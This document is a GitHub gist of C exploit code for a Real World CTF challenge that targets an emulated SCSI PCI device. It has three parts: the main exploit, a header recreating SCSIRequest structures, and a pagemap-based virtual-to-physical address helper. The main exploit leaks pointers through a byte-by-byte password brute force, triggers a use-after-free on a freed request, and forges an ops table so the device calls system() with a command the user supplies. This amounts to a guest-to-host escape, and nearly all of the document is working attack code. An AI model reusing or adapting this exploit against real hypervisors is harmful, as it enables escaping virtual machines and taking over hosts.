Created
August 24, 2018 09:58
-
-
Save sampritipanda/55e8ec0c7b63f5e2a6298b205dfa9df8 to your computer and use it in GitHub Desktop.
Real World CTF - SCSI Driver Exploitation Challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdint.h> | |
#include <sys/io.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
#include <string.h> | |
#include <assert.h> | |
#include "virt_to_phys.c" | |
#include "scsi.h" | |
void* iomem; | |
void iowrite_8(uint32_t offset, uint8_t value) { | |
*((uint8_t*)(iomem + offset)) = value; | |
} | |
uint8_t ioread_8(uint32_t offset) { | |
return *((uint8_t*)(iomem + offset)); | |
} | |
void iowrite_16(uint32_t offset, uint16_t value) { | |
*((uint16_t*)(iomem + offset)) = value; | |
} | |
uint16_t ioread_16(uint32_t offset) { | |
return *((uint16_t*)(iomem + offset)); | |
} | |
void iowrite_32(uint32_t offset, uint32_t value) { | |
*((uint32_t*)(iomem + offset)) = value; | |
} | |
uint32_t ioread_32(uint32_t offset) { | |
return *((uint32_t*)(iomem + offset)); | |
} | |
uint64_t ioread_64(uint32_t offset) { | |
return *((uint64_t*)(iomem + offset)); | |
} | |
void iowrite_64(uint32_t offset, uint64_t value) { | |
*((uint64_t*)(iomem + offset)) = value; | |
} | |
struct CTF_req_head { | |
uint8_t target_id; | |
uint8_t target_bus; | |
uint8_t lun; | |
uint8_t pad; | |
unsigned int buf_len; | |
int type; | |
}; | |
typedef struct CTF_req_head CTF_req_head; | |
struct CTF_req { | |
CTF_req_head head; | |
char cmd_buf[200]; | |
}; | |
typedef struct CTF_req CTF_req; | |
static volatile char buf[1024]; | |
#define WAIT_TIME 0.5 * 1000000 | |
int main() { | |
// Do some dummy writes to the entire buffer array | |
for(int i = 0; i < 1024; i++) { | |
buf[i] = '\xff'; | |
} | |
printf("buffer vaddr: %p\n", (void*)&buf); | |
printf("pid: %ju\n", (uintmax_t)getpid()); | |
uintptr_t paddr; | |
virt_to_phys_user(&paddr, (pid_t)getpid(), (uintptr_t)&buf); | |
printf("buffer paddr: 0x%lx\n", paddr); | |
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); | |
iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); | |
printf("iomem @ %p\n", iomem); | |
// reset driver | |
iowrite_32(12, 0); | |
printf("state: %d\n", ioread_32(0)); | |
iowrite_8(4, 'B'); | |
iowrite_8(4, 'L'); | |
iowrite_8(4, 'U'); | |
iowrite_8(4, 'E'); | |
printf("state: %d\n", ioread_32(0)); | |
iowrite_32(0, 0); | |
// Write paddr to register_b | |
iowrite_32(20, paddr); | |
CTF_req req; | |
req.head.target_id = 0; | |
req.head.target_bus = 0; | |
req.head.lun = 0; | |
req.head.pad = 0; | |
req.head.type = 0; | |
req.head.buf_len = 6; | |
char tmp[] = "\x08\x00\x00\x10\x04\x00"; | |
for(int i = 0; i < req.head.buf_len; i++) { | |
req.cmd_buf[i] = tmp[i]; | |
} | |
memcpy((void*)&buf, &req, sizeof(req)); | |
printf("Handled UNIT_ATTENTION\n"); usleep(WAIT_TIME); | |
iowrite_32(8, paddr); | |
printf("Write some data to dma_buf\n"); usleep(WAIT_TIME); | |
iowrite_32(8, paddr); | |
printf("Get a hung request because data is in dma_buf\n"); usleep(WAIT_TIME); | |
iowrite_32(8, paddr); | |
req.head.target_id = 1; | |
req.head.target_bus = 1; | |
req.head.lun = 1; | |
memcpy((void*)&buf, &req, sizeof(req)); | |
printf("Leaking 16 bytes after password\n"); usleep(WAIT_TIME); | |
assert(ioread_32(20) == 4); | |
char leak_buf[20] = {'B', 'L', 'U', 'E'}; | |
for(int i = 4; i < 20; i++) { | |
iowrite_8(4, 'A'); iowrite_8(4, 'A'); iowrite_8(4, 'A'); iowrite_8(4, 'A'); // Reset | |
for(int j = 0; j < 256; j++) { | |
leak_buf[i] = j; | |
for(int k = 0; k <= i; k++) { | |
iowrite_8(4, leak_buf[k]); | |
} | |
if(ioread_32(20) == i+1) break; | |
} | |
} | |
uint64_t cur_req_addr = *((uint64_t*)&leak_buf[4]); | |
uint64_t ctf_dma_read_addr = *((uint64_t*)&leak_buf[12]); | |
printf("cur_req addr: %p\n", (void*)cur_req_addr); | |
printf("ctf_dma_read addr: %p\n", (void*)ctf_dma_read_addr); | |
printf("Free prev request, and send invalid device, now we have a freed request in ctf->cur_req\n"); usleep(WAIT_TIME); | |
iowrite_32(8, paddr); | |
printf("Call ctf_process_reply to set up state properly.\n"); usleep(WAIT_TIME); | |
iowrite_32(24, 1); | |
SCSIRequest cur_req; | |
printf("Enter command: "); | |
fgets((char*)&cur_req.bus, 16, stdin); | |
cur_req.ops = (void*)(cur_req_addr + ((uint64_t)&cur_req.hba_private - (uint64_t)&cur_req) - 0x28); // cur_req->ops->get_buf == &cur_req.hba_private | |
cur_req.hba_private = (void*)(ctf_dma_read_addr + -3164181); // bin.plt['system'] - bin.symbols['ctf_dma_read'] | |
printf("System Address (cur_req.ops): %p\n", cur_req.ops); | |
printf("Alloc new buf over freed request and set up fake request object.\n"); usleep(WAIT_TIME); | |
memcpy((void*)buf, (void*)&cur_req, sizeof(SCSIRequest)); | |
iowrite_32(28, 0x1f8); | |
// Call ctf_process_reply | |
printf("Call scsi_req_get_buf to exploit.\n"); usleep(WAIT_TIME); | |
iowrite_32(24, 1); | |
} | |
/* | |
* Make a fake request first to capture the Unit Attention. | |
* *(scsi_req_unref+272) => g_free(req); | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdbool.h> | |
#define SCSI_SENSE_BUF_SIZE 252 | |
#define SCSI_CMD_BUF_SIZE 16 | |
#define SCSI_SENSE_LEN 18 | |
#define SCSI_SENSE_LEN_SCANNER 32 | |
#define SCSI_INQUIRY_LEN 36 | |
enum SCSIXferMode { | |
SCSI_XFER_NONE, /* TEST_UNIT_READY, ... */ | |
SCSI_XFER_FROM_DEV, /* READ, INQUIRY, MODE_SENSE, ... */ | |
SCSI_XFER_TO_DEV, /* WRITE, MODE_SELECT, ... */ | |
}; | |
typedef struct SCSICommand { | |
uint8_t buf[SCSI_CMD_BUF_SIZE]; | |
int len; | |
size_t xfer; | |
uint64_t lba; | |
enum SCSIXferMode mode; | |
} SCSICommand; | |
typedef struct SCSIReqOps SCSIReqOps; | |
typedef struct SCSIRequest SCSIRequest; | |
typedef struct NotifierList { | |
void* dummy; | |
} NotifierList; | |
struct SCSIRequest { | |
void *bus; | |
void *dev; | |
const SCSIReqOps *ops; | |
uint32_t refcount; | |
uint32_t tag; | |
uint32_t lun; | |
uint32_t status; | |
void *hba_private; | |
size_t resid; | |
SCSICommand cmd; | |
NotifierList cancel_notifiers; | |
/* Note: | |
* - fields before sense are initialized by scsi_req_alloc; | |
* - sense[] is uninitialized; | |
* - fields after sense are memset to 0 by scsi_req_alloc. | |
* */ | |
uint8_t sense[SCSI_SENSE_BUF_SIZE]; | |
uint32_t sense_len; | |
bool enqueued; | |
bool io_canceled; | |
bool retry; | |
bool dma_started; | |
}; | |
struct SCSIReqOps { | |
size_t size; | |
void (*free_req)(SCSIRequest *req); | |
int32_t (*send_command)(SCSIRequest *req, uint8_t *buf); | |
void (*read_data)(SCSIRequest *req); | |
void (*write_data)(SCSIRequest *req); | |
uint8_t *(*get_buf)(SCSIRequest *req); | |
void (*save_request)(void *f, SCSIRequest *req); | |
void (*load_request)(void *f, SCSIRequest *req); | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> /* open */ | |
#include <stdint.h> /* uint64_t */ | |
#include <stdio.h> /* printf */ | |
#include <stdlib.h> /* size_t */ | |
#include <unistd.h> /* pread, sysconf */ | |
typedef struct { | |
uint64_t pfn : 54; | |
unsigned int soft_dirty : 1; | |
unsigned int file_page : 1; | |
unsigned int swapped : 1; | |
unsigned int present : 1; | |
} PagemapEntry; | |
/* Parse the pagemap entry for the given virtual address. | |
* | |
* @param[out] entry the parsed entry | |
* @param[in] pagemap_fd file descriptor to an open /proc/pid/pagemap file | |
* @param[in] vaddr virtual address to get entry for | |
* @return 0 for success, 1 for failure | |
*/ | |
int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr) | |
{ | |
size_t nread; | |
ssize_t ret; | |
uint64_t data; | |
nread = 0; | |
while (nread < sizeof(data)) { | |
ret = pread(pagemap_fd, &data, sizeof(data), | |
(vaddr / sysconf(_SC_PAGE_SIZE)) * sizeof(data) + nread); | |
nread += ret; | |
if (ret <= 0) { | |
return 1; | |
} | |
} | |
entry->pfn = data & (((uint64_t)1 << 54) - 1); | |
entry->soft_dirty = (data >> 54) & 1; | |
entry->file_page = (data >> 61) & 1; | |
entry->swapped = (data >> 62) & 1; | |
entry->present = (data >> 63) & 1; | |
return 0; | |
} | |
/* Convert the given virtual address to physical using /proc/PID/pagemap. | |
* | |
* @param[out] paddr physical address | |
* @param[in] pid process to convert for | |
* @param[in] vaddr virtual address to get entry for | |
* @return 0 for success, 1 for failure | |
*/ | |
int virt_to_phys_user(uintptr_t *paddr, pid_t pid, uintptr_t vaddr) | |
{ | |
char pagemap_file[BUFSIZ]; | |
int pagemap_fd; | |
snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t)pid); | |
pagemap_fd = open(pagemap_file, O_RDONLY); | |
if (pagemap_fd < 0) { | |
return 1; | |
} | |
PagemapEntry entry; | |
if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) { | |
return 1; | |
} | |
close(pagemap_fd); | |
*paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE)); | |
return 0; | |
} | |
/* | |
int main(int argc, char **argv) | |
{ | |
pid_t pid; | |
uintptr_t vaddr, paddr = 0; | |
if (argc < 3) { | |
printf("Usage: %s pid vaddr\n", argv[0]); | |
return EXIT_FAILURE; | |
} | |
pid = strtoull(argv[1], NULL, 0); | |
vaddr = strtoull(argv[2], NULL, 0); | |
if (virt_to_phys_user(&paddr, pid, vaddr)) { | |
fprintf(stderr, "error: virt_to_phys_user\n"); | |
return EXIT_FAILURE; | |
}; | |
printf("0x%jx\n", (uintmax_t)paddr); | |
return EXIT_SUCCESS; | |
} | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment